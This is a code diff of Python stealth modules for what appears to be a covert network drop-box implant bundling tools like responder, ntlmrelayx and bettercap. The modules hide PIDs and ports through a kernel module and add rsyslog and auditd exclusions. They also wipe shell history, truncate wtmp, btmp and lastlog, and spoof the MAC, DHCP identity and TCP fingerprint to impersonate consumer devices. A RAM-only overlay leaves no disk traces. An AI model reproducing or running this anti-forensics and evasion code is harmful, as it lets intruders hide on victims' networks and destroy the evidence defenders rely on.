|
||||
if not self._loaded:
|
||||
return
|
||||
# Collect current SystemMonitor PIDs from state
|
||||
try:
|
||||
all_status = self.state.get_all_module_status()
|
||||
for mod_name, mod_status in all_status.items():
|
||||
pid = mod_status.get("pid")
|
||||
if pid and pid not in self._hidden_pids:
|
||||
self._hidden_pids.append(pid)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._write_param("hide_pids", self._format_pid_list())
|
||||
self._write_param("hide_ports", self._format_port_list())
|
||||
if self._hidden_paths:
|
||||
self._write_param("hide_prefix", self._hidden_paths[0])
|
||||
|
||||
@staticmethod
|
||||
def _write_param(param: str, value: str) -> bool:
|
||||
"""Write to kernel module parameter via /sys/module/."""
|
||||
param_path = f"/sys/module/{LKM_MODULE_NAME}/parameters/{param}"
|
||||
try:
|
||||
with open(param_path, "w") as f:
|
||||
f.write(value)
|
||||
return True
|
||||
except (IOError, PermissionError, FileNotFoundError):
|
||||
logger.debug("Cannot write LKM param %s (module may not expose sysfs params)", param)
|
||||
return False
|
||||
|
||||
def _format_pid_list(self) -> str:
|
||||
return ",".join(str(p) for p in self._hidden_pids)
|
||||
|
||||
def _format_port_list(self) -> str:
|
||||
return ",".join(str(p) for p in self._hidden_ports)
|
||||
@@ -0,0 +1,331 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Log suppression module — minimize forensic artifacts in system logs.
|
||||
|
||||
Installs rsyslog filter rules, auditd exclusions, journald rate limits,
|
||||
and clears shell history / login records related to SystemMonitor activity.
|
||||
All installed rules are removed on clean stop.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Dict, List
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
|
||||
JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
|
||||
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "sensor.conf")
|
||||
AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"
|
||||
|
||||
|
||||
class LogSuppression(BaseModule):
|
||||
"""Suppress system log entries that could reveal SystemMonitor activity."""
|
||||
|
||||
name = "log_suppression"
|
||||
module_type = "stealth"
|
||||
priority = -300
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._installed: Dict[str, bool] = {
|
||||
"rsyslog": False,
|
||||
"auditd": False,
|
||||
"journald": False,
|
||||
"history": False,
|
||||
"utmp": False,
|
||||
}
|
||||
self._process_names: List[str] = []
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Gather process names to suppress from stealth.yaml config
|
||||
stealth_cfg = self.config.get("stealth_yaml", {})
|
||||
name_map = stealth_cfg.get("process_names", {})
|
||||
# Suppress both the real names and the fake names
|
||||
self._process_names = list(set(list(name_map.keys()) + list(name_map.values())))
|
||||
if not self._process_names:
|
||||
self._process_names = [
|
||||
"python3", "bettercap", "tcpdump", "responder", "mitmproxy",
|
||||
"ntlmrelayx", "hostapd", "dnsmasq",
|
||||
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
|
||||
"systemd-resolved", "systemd-networkd", "systemd-logind",
|
||||
"wpa_supplicant",
|
||||
]
|
||||
|
||||
# Also suppress paths
|
||||
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
|
||||
self._suppressed_paths = [install_path, "/opt/.cache/bb", "/tmp/bb-"]
|
||||
|
||||
suppression_cfg = stealth_cfg.get("log_suppression", {})
|
||||
|
||||
# Install rsyslog filter
|
||||
if suppression_cfg.get("rsyslog_filter", True):
|
||||
self._install_rsyslog_filter()
|
||||
|
||||
# Install auditd exclusions
|
||||
if suppression_cfg.get("auditd_exclusion", True):
|
||||
self._install_auditd_exclusions()
|
||||
|
||||
# Configure journald rate limits
|
||||
if suppression_cfg.get("journald_rate_limit", True):
|
||||
self._install_journald_config()
|
||||
|
||||
# Clear shell history
|
||||
self._clear_history()
|
||||
|
||||
# Clear utmp/wtmp/btmp entries
|
||||
self._clear_login_records()
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
|
||||
active = [k for k, v in self._installed.items() if v]
|
||||
logger.info("LogSuppression active — methods: %s", ", ".join(active))
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
# Remove installed filter rules (clean exit)
|
||||
self._remove_rsyslog_filter()
|
||||
self._remove_auditd_exclusions()
|
||||
self._remove_journald_config()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("LogSuppression stopped — all filter rules removed")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"suppression_methods": dict(self._installed),
|
||||
"suppressed_process_count": len(self._process_names),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# rsyslog filter
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _install_rsyslog_filter(self) -> None:
|
||||
"""Write rsyslog config to drop log entries matching our processes/paths."""
|
||||
try:
|
||||
lines = [
|
||||
"# SystemMonitor log suppression — auto-generated, removed on clean exit",
|
||||
"# Drop messages containing our process names or paths",
|
||||
]
|
||||
|
||||
for name in self._process_names:
|
||||
# Property-based rsyslog filter: discard matching programname
|
||||
lines.append(f':programname, isequal, "{name}" stop')
|
||||
|
||||
for path in self._suppressed_paths:
|
||||
# Drop messages containing our install paths
|
||||
lines.append(f':msg, contains, "{path}" stop')
|
||||
|
||||
with open(RSYSLOG_CONF, "w") as f:
|
||||
f.write("\n".join(lines) + "\n")
|
||||
|
||||
# Restart rsyslog to apply
|
||||
subprocess.run(
|
||||
["systemctl", "restart", "rsyslog"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
self._installed["rsyslog"] = True
|
||||
logger.debug("rsyslog filter installed at %s", RSYSLOG_CONF)
|
||||
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
|
||||
logger.warning("Failed to install rsyslog filter: %s", exc)
|
||||
|
||||
def _remove_rsyslog_filter(self) -> None:
|
||||
"""Remove rsyslog filter config."""
|
||||
try:
|
||||
if os.path.isfile(RSYSLOG_CONF):
|
||||
os.unlink(RSYSLOG_CONF)
|
||||
subprocess.run(
|
||||
["systemctl", "restart", "rsyslog"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
self._installed["rsyslog"] = False
|
||||
logger.debug("rsyslog filter removed")
|
||||
except (IOError, PermissionError, subprocess.SubprocessError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# auditd exclusions
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _install_auditd_exclusions(self) -> None:
|
||||
"""Write auditd rules excluding SystemMonitor PIDs and paths."""
|
||||
try:
|
||||
rules_dir = os.path.dirname(AUDITD_RULES_FILE)
|
||||
if not os.path.isdir(rules_dir):
|
||||
logger.debug("auditd rules directory not found — skipping")
|
||||
return
|
||||
|
||||
lines = [
|
||||
"# SystemMonitor auditd exclusions — auto-generated",
|
||||
]
|
||||
|
||||
# Exclude our install path from file watches
|
||||
for path in self._suppressed_paths:
|
||||
lines.append(f"-a never,exclude -F dir={path}")
|
||||
|
||||
# Exclude our process names from execve auditing
|
||||
for name in self._process_names:
|
||||
lines.append(f"-a never,exclude -F exe=/usr/bin/{name}")
|
||||
|
||||
# Exclude current PID and parent
|
||||
lines.append(f"-a never,exclude -F pid={os.getpid()}")
|
||||
ppid = os.getppid()
|
||||
if ppid > 1:
|
||||
lines.append(f"-a never,exclude -F pid={ppid}")
|
||||
|
||||
with open(AUDITD_RULES_FILE, "w") as f:
|
||||
f.write("\n".join(lines) + "\n")
|
||||
|
||||
# Reload auditd rules
|
||||
subprocess.run(
|
||||
["augenrules", "--load"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
self._installed["auditd"] = True
|
||||
logger.debug("auditd exclusions installed at %s", AUDITD_RULES_FILE)
|
||||
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
|
||||
logger.warning("Failed to install auditd exclusions: %s", exc)
|
||||
|
||||
def _remove_auditd_exclusions(self) -> None:
|
||||
"""Remove auditd exclusion rules."""
|
||||
try:
|
||||
if os.path.isfile(AUDITD_RULES_FILE):
|
||||
os.unlink(AUDITD_RULES_FILE)
|
||||
subprocess.run(
|
||||
["augenrules", "--load"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
self._installed["auditd"] = False
|
||||
logger.debug("auditd exclusions removed")
|
||||
except (IOError, PermissionError, subprocess.SubprocessError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# journald rate limits
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _install_journald_config(self) -> None:
|
||||
"""Set journald rate limits to suppress burst logging."""
|
||||
try:
|
||||
os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)
|
||||
|
||||
config_lines = [
|
||||
"# SystemMonitor journald rate-limit — auto-generated",
|
||||
"[Journal]",
|
||||
"RateLimitIntervalSec=5s",
|
||||
"RateLimitBurst=5",
|
||||
"MaxRetentionSec=1day",
|
||||
"MaxFileSec=1day",
|
||||
"Compress=yes",
|
||||
"Storage=volatile",
|
||||
]
|
||||
|
||||
with open(JOURNALD_CONF, "w") as f:
|
||||
f.write("\n".join(config_lines) + "\n")
|
||||
|
||||
# Restart journald to apply
|
||||
subprocess.run(
|
||||
["systemctl", "restart", "systemd-journald"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
self._installed["journald"] = True
|
||||
logger.debug("journald config installed at %s", JOURNALD_CONF)
|
||||
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
|
||||
logger.warning("Failed to install journald config: %s", exc)
|
||||
|
||||
def _remove_journald_config(self) -> None:
|
||||
"""Remove journald config override."""
|
||||
try:
|
||||
if os.path.isfile(JOURNALD_CONF):
|
||||
os.unlink(JOURNALD_CONF)
|
||||
subprocess.run(
|
||||
["systemctl", "restart", "systemd-journald"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
self._installed["journald"] = False
|
||||
logger.debug("journald config removed")
|
||||
except (IOError, PermissionError, subprocess.SubprocessError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Shell history
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _clear_history(self) -> None:
|
||||
"""Clear bash history and prevent future recording."""
|
||||
try:
|
||||
os.environ["HISTFILE"] = "/dev/null"
|
||||
os.environ["HISTSIZE"] = "0"
|
||||
os.environ["HISTFILESIZE"] = "0"
|
||||
|
||||
# Clear existing history files
|
||||
history_files = [
|
||||
os.path.expanduser("~/.bash_history"),
|
||||
"/root/.bash_history",
|
||||
os.path.expanduser("~/.zsh_history"),
|
||||
"/root/.zsh_history",
|
||||
]
|
||||
for hf in history_files:
|
||||
try:
|
||||
if os.path.isfile(hf):
|
||||
with open(hf, "w") as f:
|
||||
f.truncate(0)
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
|
||||
self._installed["history"] = True
|
||||
logger.debug("Shell history cleared and disabled")
|
||||
except Exception as exc:
|
||||
logger.warning("Failed to clear history: %s", exc)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Login records (utmp/wtmp/btmp)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _clear_login_records(self) -> None:
|
||||
"""Clear utmp/wtmp/btmp entries that could reveal SystemMonitor sessions."""
|
||||
record_files = [
|
||||
"/var/run/utmp",
|
||||
"/var/log/wtmp",
|
||||
"/var/log/btmp",
|
||||
"/var/log/lastlog",
|
||||
]
|
||||
cleared = False
|
||||
for rf in record_files:
|
||||
try:
|
||||
if os.path.isfile(rf):
|
||||
# Truncate rather than delete to preserve file ownership/perms
|
||||
with open(rf, "r+b") as f:
|
||||
f.truncate(0)
|
||||
cleared = True
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
|
||||
if cleared:
|
||||
self._installed["utmp"] = True
|
||||
logger.debug("Login records cleared (utmp/wtmp/btmp)")
|
||||
@@ -0,0 +1,380 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Innocuous MAC profile manager — select and apply a believable device identity.
|
||||
|
||||
Queries data/innocuous_macs.db for consumer device profiles (Fire TV, iPhone,
|
||||
printers, etc.), sets MAC + DHCP hostname + vendor class + TCP stack params to
|
||||
match the selected device. The goal: look like something that belongs on every
|
||||
network.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import random
|
||||
import socket
|
||||
import sqlite3
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.networking import (
|
||||
get_mac,
|
||||
detect_interface_with_retry,
|
||||
get_wifi_interfaces,
|
||||
set_mac,
|
||||
)
|
||||
from utils.stealth import set_sysctl, set_tcp_timestamps, set_tcp_window, set_ttl
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Category preferences per network type
|
||||
_BUSINESS_CATEGORIES = ("printers", "network", "smart_home")
|
||||
_HOME_CATEGORIES = ("streaming", "smart_home", "phones", "gaming")
|
||||
_DEFAULT_CATEGORIES = ("streaming", "smart_home", "phones")
|
||||
|
||||
# Map config shorthand to DB device_type values
|
||||
_CATEGORY_MAP = {
|
||||
"streaming": ("smart_tv", "streaming"),
|
||||
"phones": ("phone", "tablet"),
|
||||
"smart_home": ("smart_speaker", "iot"),
|
||||
"printers": ("printer",),
|
||||
"gaming": ("gaming",),
|
||||
"network": ("printer", "iot"),
|
||||
}
|
||||
|
||||
|
||||
class MacManager(BaseModule):
|
||||
"""Select and apply a consumer-device MAC profile for network blending."""
|
||||
|
||||
name = "mac_manager"
|
||||
module_type = "stealth"
|
||||
priority = -400
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._profile: Optional[dict] = None
|
||||
self._eth_iface: Optional[str] = None
|
||||
self._wifi_iface: Optional[str] = None
|
||||
self._original_eth_mac: Optional[str] = None
|
||||
self._original_wifi_mac: Optional[str] = None
|
||||
self._original_hostname: Optional[str] = None
|
||||
self._db_path = self._resolve_db_path()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._eth_iface = self.config.get("network", {}).get(
|
||||
"primary_interface", "auto"
|
||||
)
|
||||
if self._eth_iface == "auto":
|
||||
self._eth_iface = detect_interface_with_retry(
|
||||
max_retries=3,
|
||||
retry_delay=5,
|
||||
exponential=True,
|
||||
config_interface=None
|
||||
)
|
||||
|
||||
wifi_ifaces = get_wifi_interfaces()
|
||||
wifi_cfg = self.config.get("network", {}).get("wifi", {}).get("interface", "wlan0")
|
||||
self._wifi_iface = wifi_cfg if wifi_cfg in wifi_ifaces else (wifi_ifaces[0] if wifi_ifaces else None)
|
||||
|
||||
# Save originals for restore on stop
|
||||
if self._eth_iface:
|
||||
try:
|
||||
self._original_eth_mac = get_mac(self._eth_iface)
|
||||
except Exception:
|
||||
pass
|
||||
if self._wifi_iface:
|
||||
try:
|
||||
self._original_wifi_mac = get_mac(self._wifi_iface)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._original_hostname = socket.gethostname()
|
||||
|
||||
# Select and apply profile
|
||||
self._profile = self._select_profile()
|
||||
if self._profile is None:
|
||||
logger.warning("No MAC profile found — using random consumer OUI fallback")
|
||||
self._profile = self._fallback_profile()
|
||||
|
||||
self._apply_profile(self._profile)
|
||||
|
||||
# Persist for other modules
|
||||
self.state.set(self.name, "profile", json.dumps(self._profile))
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
logger.info(
|
||||
"MAC profile applied: %s (%s) — MAC %s, hostname %s",
|
||||
self._profile.get("device_name", "unknown"),
|
||||
self._profile.get("vendor", "unknown"),
|
||||
self._profile.get("applied_mac", "?"),
|
||||
self._profile.get("dhcp_hostname", "?"),
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
# Restore original MACs on clean exit — skip WiFi interfaces to avoid
|
||||
# dropping the active association.
|
||||
wifi_ifaces = set(get_wifi_interfaces())
|
||||
try:
|
||||
if self._eth_iface and self._original_eth_mac and self._eth_iface not in wifi_ifaces:
|
||||
set_mac(self._eth_iface, self._original_eth_mac)
|
||||
if (self._wifi_iface and self._original_wifi_mac
|
||||
and self._wifi_iface != self._eth_iface
|
||||
and self._wifi_iface not in wifi_ifaces):
|
||||
set_mac(self._wifi_iface, self._original_wifi_mac)
|
||||
except Exception as exc:
|
||||
logger.warning("Failed to restore original MAC: %s", exc)
|
||||
|
||||
self._cleanup_dhclient_conf()
|
||||
|
||||
if self._original_hostname:
|
||||
try:
|
||||
import subprocess
|
||||
subprocess.run(
|
||||
["hostnamectl", "set-hostname", self._original_hostname],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
logger.debug("Hostname restored to %s", self._original_hostname)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("MacManager stopped — original MACs restored")
|
||||
|
||||
def status(self) -> dict:
|
||||
base = {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
}
|
||||
if self._profile:
|
||||
base["profile_name"] = self._profile.get("device_name", "unknown")
|
||||
base["applied_mac"] = self._profile.get("applied_mac", "unknown")
|
||||
base["dhcp_hostname"] = self._profile.get("dhcp_hostname", "unknown")
|
||||
if self._profile.get("applied_hostname"):
|
||||
base["applied_hostname"] = self._profile["applied_hostname"]
|
||||
if self._eth_iface:
|
||||
try:
|
||||
base["current_eth_mac"] = get_mac(self._eth_iface)
|
||||
except Exception:
|
||||
base["current_eth_mac"] = "error"
|
||||
return base
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if self._running:
|
||||
# Re-select and apply on config change
|
||||
self._profile = self._select_profile()
|
||||
if self._profile:
|
||||
self._apply_profile(self._profile)
|
||||
self.state.set(self.name, "profile", json.dumps(self._profile))
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Profile selection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _resolve_db_path(self) -> str:
|
||||
"""Locate innocuous_macs.db relative to project root."""
|
||||
candidates = [
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "data", "innocuous_macs.db"),
|
||||
"/opt/.cache/bb/data/innocuous_macs.db",
|
||||
]
|
||||
for p in candidates:
|
||||
resolved = os.path.realpath(p)
|
||||
if os.path.isfile(resolved):
|
||||
return resolved
|
||||
# Default — will be created/populated by setup
|
||||
return os.path.realpath(candidates[0])
|
||||
|
||||
def _select_profile(self) -> Optional[dict]:
|
||||
"""Select a MAC profile from the database based on config."""
|
||||
if not os.path.isfile(self._db_path):
|
||||
logger.warning("innocuous_macs.db not found at %s", self._db_path)
|
||||
return None
|
||||
|
||||
stealth_cfg = self.config.get("stealth", {})
|
||||
mac_profile = stealth_cfg.get("mac_profile", "auto")
|
||||
network_type = stealth_cfg.get("mac_network_type", "auto")
|
||||
|
||||
conn = sqlite3.connect(self._db_path)
|
||||
conn.row_factory = sqlite3.Row
|
||||
try:
|
||||
if mac_profile not in ("auto", None) and mac_profile not in _CATEGORY_MAP:
|
||||
# Specific device name requested
|
||||
row = conn.execute(
|
||||
"SELECT * FROM mac_profiles WHERE device_name = ? LIMIT 1",
|
||||
(mac_profile,),
|
||||
).fetchone()
|
||||
if row:
|
||||
return dict(row)
|
||||
|
||||
# Category-based selection
|
||||
if mac_profile == "auto" or mac_profile is None:
|
||||
categories = self._pick_categories(network_type)
|
||||
else:
|
||||
categories = _CATEGORY_MAP.get(mac_profile, _DEFAULT_CATEGORIES)
|
||||
|
||||
placeholders = ",".join("?" for _ in categories)
|
||||
rows = conn.execute(
|
||||
f"SELECT * FROM mac_profiles WHERE device_type IN ({placeholders})",
|
||||
categories,
|
||||
).fetchall()
|
||||
if rows:
|
||||
return dict(random.choice(rows))
|
||||
return None
|
||||
except sqlite3.OperationalError:
|
||||
logger.warning("mac_profiles table missing — DB not seeded, using fallback")
|
||||
return None
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
def _pick_categories(self, network_type: str) -> tuple:
|
||||
"""Choose device categories appropriate for the network type."""
|
||||
if network_type == "business":
|
||||
cat_keys = _BUSINESS_CATEGORIES
|
||||
elif network_type == "home":
|
||||
cat_keys = _HOME_CATEGORIES
|
||||
else:
|
||||
# Auto: default safe categories
|
||||
cat_keys = _DEFAULT_CATEGORIES
|
||||
|
||||
types = []
|
||||
for key in cat_keys:
|
||||
types.extend(_CATEGORY_MAP.get(key, ()))
|
||||
return tuple(types)
|
||||
|
||||
def _fallback_profile(self) -> dict:
|
||||
"""Generate a plausible fallback profile without the database."""
|
||||
# Amazon Fire TV Stick OUI
|
||||
oui = "FC:65:DE"
|
||||
suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
|
||||
return {
|
||||
"device_type": "streaming",
|
||||
"vendor": "Amazon",
|
||||
"device_name": "Fire TV Stick 4K",
|
||||
"oui": oui,
|
||||
"dhcp_hostname": "amazon-fire-tv",
|
||||
"dhcp_vendor_class": "amazon-fire-tv-stick",
|
||||
"ttl": 64,
|
||||
"tcp_window": 65535,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Apply profile to system
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _apply_profile(self, profile: dict) -> None:
|
||||
"""Set MAC, DHCP config, TCP stack to match the selected profile."""
|
||||
oui = profile.get("oui", "FC:65:DE")
|
||||
suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
|
||||
new_mac = f"{oui}:{suffix}"
|
||||
profile["applied_mac"] = new_mac
|
||||
|
||||
wifi_ifaces = set(get_wifi_interfaces())
|
||||
|
||||
# Set MAC on Ethernet — skip if it's also a WiFi interface (changing MAC
|
||||
# on an associated WiFi interface drops the connection and causes ENETDOWN
|
||||
# on all AF_PACKET sockets bound to it).
|
||||
if self._eth_iface:
|
||||
if self._eth_iface in wifi_ifaces:
|
||||
logger.info(
|
||||
"Skipping MAC change on %s — active WiFi interface, would break association",
|
||||
self._eth_iface,
|
||||
)
|
||||
else:
|
||||
try:
|
||||
set_mac(self._eth_iface, new_mac)
|
||||
logger.debug("Set %s MAC to %s", self._eth_iface, new_mac)
|
||||
except Exception as exc:
|
||||
logger.error("Failed to set MAC on %s: %s", self._eth_iface, exc)
|
||||
|
||||
# Set MAC on WiFi only if it's a separate interface from the primary eth
|
||||
# (e.g., a dedicated monitor card). Same interface = already handled above.
|
||||
if self._wifi_iface and self._wifi_iface != self._eth_iface:
|
||||
wifi_suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
|
||||
wifi_mac = f"{oui}:{wifi_suffix}"
|
||||
try:
|
||||
set_mac(self._wifi_iface, wifi_mac)
|
||||
profile["applied_wifi_mac"] = wifi_mac
|
||||
logger.debug("Set %s MAC to %s", self._wifi_iface, wifi_mac)
|
||||
except Exception as exc:
|
||||
logger.error("Failed to set WiFi MAC on %s: %s", self._wifi_iface, exc)
|
||||
|
||||
# DHCP configuration
|
||||
self._write_dhclient_conf(profile)
|
||||
|
||||
# TCP stack tuning
|
||||
ttl = profile.get("ttl", 64)
|
||||
tcp_win = profile.get("tcp_window", 65535)
|
||||
set_ttl(ttl)
|
||||
set_tcp_window(tcp_win)
|
||||
set_tcp_timestamps(True) # Most consumer devices have timestamps enabled
|
||||
|
||||
logger.debug("TCP stack: TTL=%d, window=%d", ttl, tcp_win)
|
||||
|
||||
self._set_system_hostname(profile)
|
||||
|
||||
def _write_dhclient_conf(self, profile: dict) -> None:
|
||||
"""Write dhclient.conf with hostname + vendor class matching the profile."""
|
||||
hostname = profile.get("dhcp_hostname", "localhost")
|
||||
vendor_class = profile.get("dhcp_vendor_class", "")
|
||||
|
||||
conf_path = "/etc/dhcp/dhclient.conf.d"
|
||||
conf_file = os.path.join(conf_path, "bb-profile.conf")
|
||||
|
||||
try:
|
||||
os.makedirs(conf_path, exist_ok=True)
|
||||
lines = [
|
||||
f'send host-name "{hostname}";',
|
||||
]
|
||||
if vendor_class:
|
||||
lines.append(f'send vendor-class-identifier "{vendor_class}";')
|
||||
|
||||
with open(conf_file, "w") as f:
|
||||
f.write("\n".join(lines) + "\n")
|
||||
|
||||
logger.debug("Wrote DHCP config: hostname=%s, vendor=%s", hostname, vendor_class)
|
||||
except (IOError, PermissionError) as exc:
|
||||
logger.warning("Failed to write dhclient.conf: %s", exc)
|
||||
|
||||
def _set_system_hostname(self, profile: dict) -> None:
|
||||
"""Set system hostname to match the device profile for full fingerprint consistency."""
|
||||
import subprocess
|
||||
hostname = profile.get("dhcp_hostname", "")
|
||||
if not hostname:
|
||||
return
|
||||
suffix = "".join(f"{random.randint(0, 15):x}" for _ in range(4))
|
||||
new_hostname = f"{hostname}-{suffix}"
|
||||
try:
|
||||
subprocess.run(
|
||||
["hostnamectl", "set-hostname", new_hostname],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
profile["applied_hostname"] = new_hostname
|
||||
logger.info("System hostname set to %s", new_hostname)
|
||||
except Exception as exc:
|
||||
logger.warning("Failed to set hostname: %s", exc)
|
||||
|
||||
def _cleanup_dhclient_conf(self) -> None:
|
||||
"""Remove our DHCP config on clean exit."""
|
||||
conf_file = "/etc/dhcp/dhclient.conf.d/bb-profile.conf"
|
||||
try:
|
||||
if os.path.isfile(conf_file):
|
||||
os.unlink(conf_file)
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
@@ -0,0 +1,269 @@
|
||||
#!/usr/bin/env python3
|
||||
"""OverlayFS manager: mount root filesystem as overlayfs with tmpfs upper layer
|
||||
so all writes go to RAM and vanish on reboot. Zero SD card write activity."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Default overlay paths
|
||||
OVERLAY_BASE = "/opt/.cache/bb/overlay"
|
||||
OVERLAY_UPPER = os.path.join(OVERLAY_BASE, "upper")
|
||||
OVERLAY_WORK = os.path.join(OVERLAY_BASE, "work")
|
||||
OVERLAY_MERGED = os.path.join(OVERLAY_BASE, "merged")
|
||||
|
||||
# Size budgets per tier (MB)
|
||||
TIER_SIZE_BUDGETS = {
|
||||
TIER_OPI_ZERO3: 200,
|
||||
TIER_PI_ZERO: 30,
|
||||
TIER_GENERIC: None, # unlimited
|
||||
}
|
||||
|
||||
|
||||
class OverlayfsManager(BaseModule):
|
||||
"""Mount an overlayfs with read-only lower (real FS) and tmpfs upper (RAM).
|
||||
All writes go to tmpfs -- zero SD card activity. Writes vanish on reboot."""
|
||||
|
||||
name = "overlayfs_manager"
|
||||
module_type = "stealth"
|
||||
priority = -450
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._overlay_base = config.get("overlay_base", OVERLAY_BASE)
|
||||
self._upper_dir = config.get("overlay_upper", OVERLAY_UPPER)
|
||||
self._work_dir = config.get("overlay_work", OVERLAY_WORK)
|
||||
self._merged_dir = config.get("overlay_merged", OVERLAY_MERGED)
|
||||
self._lower_dir = config.get("overlay_lower", "/opt/.cache/bb")
|
||||
self._overlay_active = False
|
||||
self._tmpfs_mounted = False
|
||||
self._upper_limit_mb: Optional[int] = None
|
||||
self._tier = get_hardware_tier()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
# Determine size budget from hardware tier
|
||||
self._upper_limit_mb = TIER_SIZE_BUDGETS.get(self._tier)
|
||||
if self._upper_limit_mb is None and self._tier not in TIER_SIZE_BUDGETS:
|
||||
# Unknown tier: default conservative
|
||||
self._upper_limit_mb = 200
|
||||
|
||||
# Create overlay structure
|
||||
if not self._setup_overlay():
|
||||
logger.error("OverlayFS setup failed")
|
||||
self.state.set_module_status(self.name, "error",
|
||||
extra={"reason": "setup_failed"})
|
||||
return
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info(
|
||||
"OverlayFS active — upper limit: %s MB, tier: %s",
|
||||
self._upper_limit_mb or "unlimited", self._tier,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
self._running = False
|
||||
self._teardown_overlay()
|
||||
self.state.set_module_status(self.name, "stopped")
|
